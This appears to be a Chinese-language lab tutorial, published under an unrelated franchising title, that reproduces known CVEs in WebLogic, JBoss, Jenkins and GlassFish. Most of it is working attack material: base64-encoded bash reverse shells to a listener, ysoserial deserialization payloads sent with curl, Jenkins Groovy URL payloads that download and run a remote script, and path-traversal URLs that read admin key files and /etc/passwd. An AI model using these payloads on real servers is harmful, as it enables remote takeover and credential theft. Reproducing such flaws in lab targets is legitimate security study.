鹵菜店加盟優(yōu)化排名推廣技術(shù)網(wǎng)站
目錄
- 服務(wù)攻防-中間件安全&CVE復(fù)現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復(fù)現(xiàn)
- 中間件-Weblogic安全問題
- 漏洞復(fù)現(xiàn)
- CVE_2017_3506漏洞復(fù)現(xiàn)
- 中間件-JBoos安全問題
- 漏洞復(fù)現(xiàn)
- CVE-2017-12149漏洞復(fù)現(xiàn)
- CVE-2017-7504漏洞復(fù)現(xiàn)
- 中間件-Jenkins安全問題
- 漏洞復(fù)現(xiàn)
- CVE-2017-1000353漏洞復(fù)現(xiàn)
- CVE-2018-1000861漏洞復(fù)現(xiàn)
- 中間件-Glassfish安全問題
- 漏洞復(fù)現(xiàn)
- CVE-2017-1000028漏洞復(fù)現(xiàn)
服務(wù)攻防-中間件安全&CVE復(fù)現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復(fù)現(xiàn)
中間件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等
1、中間件-Weblogic安全
2、中間件-JBoos安全
3、中間件-Jenkins安全
4、中間件-GlassFish安全
常見中間件的安全測(cè)試:
1、配置不當(dāng)-解析&弱口令
2、安全機(jī)制-特定安全漏洞
3、安全機(jī)制-弱口令爆破攻擊
4、安全應(yīng)用-框架特定安全漏洞
中間件安全測(cè)試流程:
1、判斷中間件信息-名稱&版本&三方
2、判斷中間件問題-配置不當(dāng)&公開漏洞
3、判斷中間件利用-弱口令&EXP&框架漏洞
應(yīng)用服務(wù)安全測(cè)試流程:
1、判斷服務(wù)開放情況-端口掃描&組合應(yīng)用等
2、判斷服務(wù)類型歸屬-數(shù)據(jù)庫&文件傳輸&通訊等
3、判斷服務(wù)利用方式-特定漏洞&未授權(quán)&弱口令等
中間件-Weblogic安全問題
詳解:weblogic詳解
介紹:
Java應(yīng)用服務(wù)器軟件
WebLogic是美國Oracle公司出品的一個(gè)application server,確切的說是一個(gè)基于JAVAEE架構(gòu)的中間件,WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫應(yīng)用的Java應(yīng)用服務(wù)器。將Java的動(dòng)態(tài)功能和Java Enterprise標(biāo)準(zhǔn)的安全性引入大型網(wǎng)絡(luò)應(yīng)用的開發(fā)、集成、部署和管理之中。
探針默認(rèn)端口:7001,Weblogic是Oracle公司推出的J2EE應(yīng)用服務(wù)器
安全問題:
CVE_2017_3506
CVE_2018_2893
CVE_2018_3245
CVE-2018-2628 反序列化
CVE_2020_14882
CVE_2021_2394 反序列化
CVE-2023-21839 反序列化
…
以上的漏洞基本都可以使用現(xiàn)成熟的工具進(jìn)行直接攻擊利用。
漏洞復(fù)現(xiàn)
以CVE_2017_3506為例(其他編號(hào)漏洞利用基本類似,直接上工具,點(diǎn)一點(diǎn)~):
CVE_2017_3506漏洞復(fù)現(xiàn)
靶場(chǎng):vulfocus
開啟環(huán)境:
訪問:
直接將url信息放入到工具當(dāng)中進(jìn)行檢測(cè):
存在漏洞,可直接進(jìn)行命令執(zhí)行:
其他漏洞編號(hào)利用方式類似,直接放入到工具當(dāng)中進(jìn)行檢測(cè),存在就存在,可直接執(zhí)行命令或者上傳,注入等操作。
手工操作復(fù)現(xiàn):weblogic反序列漏洞復(fù)現(xiàn)
中間件-JBoos安全問題
詳解:Jboss詳解
介紹:
J2EE的開放源代碼的應(yīng)用服務(wù)器
是一個(gè)基于J2EE的開放源代碼的應(yīng)用服務(wù)器。 JBoss代碼遵循LGPL許可,可以在任何商業(yè)應(yīng)用中免費(fèi)使用。JBoss是一個(gè)管理EJB的容器和服務(wù)器,支持EJB 1.1、EJB 2.0和EJB3的規(guī)范。但JBoss核心服務(wù)不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093這 幾個(gè),Red Hat JBoss Application Server 是一款基于JavaEE的開源應(yīng)用服務(wù)器。
安全問題:
CVE-2017-12149
CVE-2017-7504
弱口令 未授權(quán)訪問
…
漏洞復(fù)現(xiàn)
CVE-2017-12149漏洞復(fù)現(xiàn)
該漏洞為 Java反序列化錯(cuò)誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進(jìn)行任何安全檢查的情況下嘗試將來自客戶端的數(shù)據(jù)流進(jìn)行反序列化,從而導(dǎo)致了漏洞。
靶場(chǎng):vulhub
參考:JBoss 5.x/6.x 反序列化漏洞
開啟環(huán)境:
訪問:
漏洞利用:
payload:
//反彈shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//curl命令進(jìn)行請(qǐng)求訪問,發(fā)送:
curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
//接收端開啟監(jiān)聽
nc -lvvp 8888
在ysoserial工具目錄下生成了poc.ser文件:
發(fā)送curl請(qǐng)求:
監(jiān)聽端成功接收,反彈shell成功:
CVE-2017-7504漏洞復(fù)現(xiàn)
介紹:
Red Hat JBoss Application Server 是一款基于JavaEE的開源應(yīng)用服務(wù)器。JBoss AS 4.x及之前版本中,JbossMQ實(shí)現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠(yuǎn)程攻擊者可借助特制的序列化數(shù)據(jù)利用該漏洞執(zhí)行任意代碼。
靶場(chǎng):vulhub
參考:JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
開啟環(huán)境:
訪問:
漏洞利用:
//此漏洞和CVE-2017-12149利用方式差不多,區(qū)別就是請(qǐng)求地址內(nèi)容不同
payload:
//反彈shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//進(jìn)行curl請(qǐng)求:
curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
//接收端開啟監(jiān)聽:
nc -lvvp 8888
發(fā)送curl請(qǐng)求:
監(jiān)聽端成功接收,反彈shell成功:
中間件-Jenkins安全問題
詳解:Jenkins詳解
介紹:
開源軟件項(xiàng)目
Jenkins是一個(gè)開源軟件項(xiàng)目,是基于Java開發(fā)的一種持續(xù)集成工具,用于監(jiān)控持續(xù)重復(fù)的工作,旨在提供一個(gè)開放易用的軟件平臺(tái),使軟件項(xiàng)目可以進(jìn)行持續(xù)集成。
探針默認(rèn)端口:8080
安全問題:
CVE-2017-1000353
CVE-2018-1000861
…
漏洞復(fù)現(xiàn)
CVE-2017-1000353漏洞復(fù)現(xiàn)
靶場(chǎng):vulfocus
或vulhub
參考:Jenkins-CI 遠(yuǎn)程代碼執(zhí)行漏洞
vulhub環(huán)境:
vulfocus環(huán)境:
開啟靶場(chǎng):
訪問:
漏洞利用:
工具地址:CVE-2017-1000353
JDK版本需要為jdk-8u291,其他版本可能失效,無法復(fù)現(xiàn)成功
下載地址:JDK8
payload:
//執(zhí)行命令,創(chuàng)建文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
//執(zhí)行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//然后回到我們的靶機(jī)中打開終端輸入以下命令,查看驗(yàn)證是否利用成功
docker ps -a
docker exec -it 838723a23ad0 /bin/bash
ls /
反彈shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}//反彈shell操作:
//將剛剛執(zhí)行創(chuàng)建文件的命令,換成該反彈shell命令即可(base64加密后的)
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//執(zhí)行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//接收端開啟監(jiān)聽
nc -lvvp 8888
注意JDK版本,否則可能無法復(fù)現(xiàn)。
CVE-2018-1000861漏洞復(fù)現(xiàn)
靶場(chǎng):vulhub
參考:Jenkins遠(yuǎn)程命令執(zhí)行漏洞
開啟環(huán)境:
訪問:
漏洞利用:
exp下載地址:CVE-2018-1000861EXP
//使用exp腳本可直接利用,python2下使用
payload:
python2 exp.py python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"//進(jìn)入靶場(chǎng)環(huán)境進(jìn)行驗(yàn)證:
docker ps
docker exec -it 靶場(chǎng)id /bin/bash
ls /tmp/
使用說明:
使用方式:
驗(yàn)證是否成功:
成功創(chuàng)建文件
還可以進(jìn)行手工測(cè)試:
手工檢測(cè):
poc:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
payload:
創(chuàng)建文件:
//發(fā)送以下請(qǐng)求:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
驗(yàn)證:
成功創(chuàng)建
反彈shell:
payload:
//反彈shell命令進(jìn)行base64加密
python2 exp.py http://192.168.100.134:8080 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//接收端開啟監(jiān)聽
nc -lvvp 8888
成功反彈shell:
ps:如果不能反彈,可在服務(wù)端創(chuàng)建文本文件,將反彈shell命令寫進(jìn)文本文件當(dāng)中。然后python開啟http服務(wù),觀察狀態(tài)。
//開啟http服務(wù):
python -m http.server 8080//python2執(zhí)行exp腳本,將遠(yuǎn)程文件保存至目標(biāo)主機(jī)
python2 exp.py 目標(biāo)主機(jī) "curl -o /tmp/cmd.sh http://xxxx:8080/cmd.txt"//python2執(zhí)行exp腳本,使目標(biāo)主機(jī)運(yùn)行腳本文件反彈shel
python2 exp.py 目標(biāo)主機(jī) "bash /tmp/cmd.sh"
http服務(wù)端可觀察狀態(tài):
進(jìn)入靶場(chǎng)驗(yàn)證,存在該文件:
接下來使用python2腳本exp命令進(jìn)行執(zhí)行即可。
還可以手工瀏覽器訪問,依次執(zhí)行:
payload:
//這里拿本地演示
//將文件保存到目標(biāo)主機(jī):
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8888/cmd.txt".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}//執(zhí)行shell腳本
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
訪問時(shí),瀏覽器變?yōu)榭瞻捉缑?#xff1a;
執(zhí)行成功
中間件-Glassfish安全問題
介紹:
GlassFish詳解
一款商業(yè)應(yīng)用服務(wù)器
GlassFish 是一款強(qiáng)健的商業(yè)兼容應(yīng)用服務(wù)器,達(dá)到產(chǎn)品級(jí)質(zhì)量,可免費(fèi)用于開發(fā)、部署和重新分發(fā)。開發(fā)者可以免費(fèi)獲得源代碼,還可以對(duì)代碼進(jìn)行更改。
安全問題:
CVE-2017-1000028
…
漏洞復(fù)現(xiàn)
CVE-2017-1000028漏洞復(fù)現(xiàn)
漏洞原理:
java語言中會(huì)把%c0%ae解析為\uC0AE,最后轉(zhuǎn)義為ASCCII字符的.(點(diǎn))。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/來向上跳轉(zhuǎn),達(dá)到目錄穿越、任意文件讀取的效果。
靶場(chǎng):vulhub
參考:GlassFish 任意文件讀取漏洞
開啟環(huán)境:
進(jìn)入環(huán)境,訪問:
環(huán)境運(yùn)行后,訪問http://your-ip:8080
和http://your-ip:4848
即可查看web頁面。其中,8080
端口是網(wǎng)站內(nèi)容,4848
端口是GlassFish管理中心。
payload:
//讀取密碼:
https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile//linux下讀取文件:
https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd//window下讀取文件:
http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
成功讀取密碼:
成功讀取文件: